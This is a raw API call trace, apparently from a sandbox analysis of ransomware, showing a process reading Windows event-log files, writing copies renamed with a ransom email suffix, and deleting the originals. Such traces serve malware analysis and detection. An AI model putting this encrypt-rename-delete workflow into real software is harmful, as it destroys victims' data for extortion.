	[0083.316] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.316] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.316] lstrlenW (lpString=".jpg") returned 4
	[0083.316] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.316] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.317] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44
	[0083.317] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.317] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0083.317] CloseHandle (hObject=0x320) returned 1
	[0083.317] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20
	[0083.317] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.318] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.318] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.318] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.318] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.319] GetLastError () returned 0x0
	[0083.319] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.322] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.325] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.325] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x12c, lpOverlapped=0x0) returned 1
	[0083.325] SetEndOfFile (hFile=0x390) returned 1
	[0083.326] CloseHandle (hObject=0x390) returned 1
	[0083.328] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.328] SetEndOfFile (hFile=0x320) returned 1
	[0083.330] CloseHandle (hObject=0x320) returned 1
	[0083.330] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.330] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1
	[0083.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.330] lstrlenW (lpString=".doc") returned 4
	[0083.330] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.330] lstrlenW (lpString=".docx") returned 5
	[0083.330] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.330] lstrlenW (lpString=".pdf") returned 4
	[0083.330] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.330] lstrlenW (lpString=".xls") returned 4
	[0083.331] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.331] lstrlenW (lpString=".xlsx") returned 5
	[0083.331] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.331] lstrlenW (lpString=".ppt") returned 4
	[0083.331] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.331] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.331] lstrlenW (lpString=".zip") returned 4
	[0083.331] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.331] lstrlenW (lpString=".rar") returned 4
	[0083.331] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.331] lstrlenW (lpString=".bz2") returned 4
	[0083.331] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.331] lstrlenW (lpString=".7z") returned 3
	[0083.331] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.331] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.331] lstrlenW (lpString=".dbf") returned 4
	[0083.334] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.334] lstrlenW (lpString=".1cd") returned 4
	[0083.334] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.334] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.335] lstrlenW (lpString=".jpg") returned 4
	[0083.335] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.335] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.335] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.335] lstrlenW (lpString=".doc") returned 4
	[0083.335] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.335] lstrlenW (lpString=".docx") returned 5
	[0083.335] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.335] lstrlenW (lpString=".pdf") returned 4
	[0083.335] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.335] lstrlenW (lpString=".xls") returned 4
	[0083.335] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.335] lstrlenW (lpString=".xlsx") returned 5
	[0083.335] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.335] lstrlenW (lpString=".ppt") returned 4
	[0083.335] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.335] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.335] lstrlenW (lpString=".zip") returned 4
	[0083.335] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.335] lstrlenW (lpString=".rar") returned 4
	[0083.335] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.335] lstrlenW (lpString=".bz2") returned 4
	[0083.335] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.335] lstrlenW (lpString=".7z") returned 3
	[0083.340] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.340] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.340] lstrlenW (lpString=".dbf") returned 4
	[0083.341] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.341] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.341] lstrlenW (lpString=".1cd") returned 4
	[0083.341] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.341] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0083.341] lstrlenW (lpString=".jpg") returned 4
	[0083.341] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.341] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.341] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82
	[0083.341] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.345] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0083.345] CloseHandle (hObject=0x320) returned 1
	[0083.345] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20
	[0083.345] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.345] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.345] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.345] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.345] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.346] GetLastError () returned 0x0
	[0083.346] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.349] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.351] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.351] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x178, lpOverlapped=0x0) returned 1
	[0083.351] SetEndOfFile (hFile=0x390) returned 1
	[0083.351] CloseHandle (hObject=0x390) returned 1
	[0083.353] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.353] SetEndOfFile (hFile=0x320) returned 1
	[0083.355] CloseHandle (hObject=0x320) returned 1
	[0083.355] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.355] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1
	[0083.355] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.355] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.355] lstrlenW (lpString=".doc") returned 4
	[0083.355] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.355] lstrlenW (lpString=".docx") returned 5
	[0083.355] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.355] lstrlenW (lpString=".pdf") returned 4
	[0083.355] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.355] lstrlenW (lpString=".xls") returned 4
	[0083.355] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.355] lstrlenW (lpString=".xlsx") returned 5
	[0083.355] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.356] lstrlenW (lpString=".ppt") returned 4
	[0083.356] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.356] lstrlenW (lpString=".zip") returned 4
	[0083.356] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.356] lstrlenW (lpString=".rar") returned 4
	[0083.356] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.356] lstrlenW (lpString=".bz2") returned 4
	[0083.356] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.356] lstrlenW (lpString=".7z") returned 3
	[0083.356] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.356] lstrlenW (lpString=".dbf") returned 4
	[0083.356] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.356] lstrlenW (lpString=".1cd") returned 4
	[0083.356] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.356] lstrlenW (lpString=".jpg") returned 4
	[0083.356] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.356] lstrlenW (lpString=".doc") returned 4
	[0083.356] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.356] lstrlenW (lpString=".docx") returned 5
	[0083.356] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.356] lstrlenW (lpString=".pdf") returned 4
	[0083.356] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.356] lstrlenW (lpString=".xls") returned 4
	[0083.356] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.356] lstrlenW (lpString=".xlsx") returned 5
	[0083.356] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.356] lstrlenW (lpString=".ppt") returned 4
	[0083.357] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.357] lstrlenW (lpString=".zip") returned 4
	[0083.357] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.357] lstrlenW (lpString=".rar") returned 4
	[0083.357] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.357] lstrlenW (lpString=".bz2") returned 4
	[0083.357] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.357] lstrlenW (lpString=".7z") returned 3
	[0083.357] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.357] lstrlenW (lpString=".dbf") returned 4
	[0083.357] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.357] lstrlenW (lpString=".1cd") returned 4
	[0083.357] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.357] lstrlenW (lpString=".jpg") returned 4
	[0083.357] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.357] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.357] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72
	[0083.357] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.371] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1052672) returned 1
	[0083.371] CloseHandle (hObject=0x320) returned 1
	[0083.371] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20
	[0083.386] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.387] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.387] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.396] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.396] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0083.397] GetLastError () returned 0x0
	[0083.397] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0083.418] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0083.436] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0083.781] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0083.785] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.785] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x164, lpOverlapped=0x0) returned 1
	[0083.785] SetEndOfFile (hFile=0x358) returned 1
	[0083.785] CloseHandle (hObject=0x358) returned 1
	[0083.807] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.807] SetEndOfFile (hFile=0x320) returned 1
	[0083.808] CloseHandle (hObject=0x320) returned 1
	[0083.808] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.809] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1
	[0083.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.809] lstrlenW (lpString=".doc") returned 4
	[0083.809] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.809] lstrlenW (lpString=".docx") returned 5
	[0083.809] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.809] lstrlenW (lpString=".pdf") returned 4
	[0083.809] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.809] lstrlenW (lpString=".xls") returned 4
	[0083.809] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.809] lstrlenW (lpString=".xlsx") returned 5
	[0083.809] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.809] lstrlenW (lpString=".ppt") returned 4
	[0083.809] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.809] lstrlenW (lpString=".zip") returned 4
	[0083.809] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.809] lstrlenW (lpString=".rar") returned 4
	[0083.809] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.809] lstrlenW (lpString=".bz2") returned 4
	[0083.810] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.810] lstrlenW (lpString=".7z") returned 3
	[0083.810] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.810] lstrlenW (lpString=".dbf") returned 4
	[0083.810] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.810] lstrlenW (lpString=".1cd") returned 4
	[0083.810] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.810] lstrlenW (lpString=".jpg") returned 4
	[0083.810] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.810] lstrlenW (lpString=".doc") returned 4
	[0083.810] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.810] lstrlenW (lpString=".docx") returned 5
	[0083.810] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.810] lstrlenW (lpString=".pdf") returned 4
	[0083.810] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.810] lstrlenW (lpString=".xls") returned 4
	[0083.810] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.810] lstrlenW (lpString=".xlsx") returned 5
	[0083.810] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.810] lstrlenW (lpString=".ppt") returned 4
	[0083.810] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.810] lstrlenW (lpString=".zip") returned 4
	[0083.810] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.810] lstrlenW (lpString=".rar") returned 4
	[0083.811] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.811] lstrlenW (lpString=".bz2") returned 4
	[0083.811] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.811] lstrlenW (lpString=".7z") returned 3
	[0083.811] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.811] lstrlenW (lpString=".dbf") returned 4
	[0083.811] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.811] lstrlenW (lpString=".1cd") returned 4
	[0083.811] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
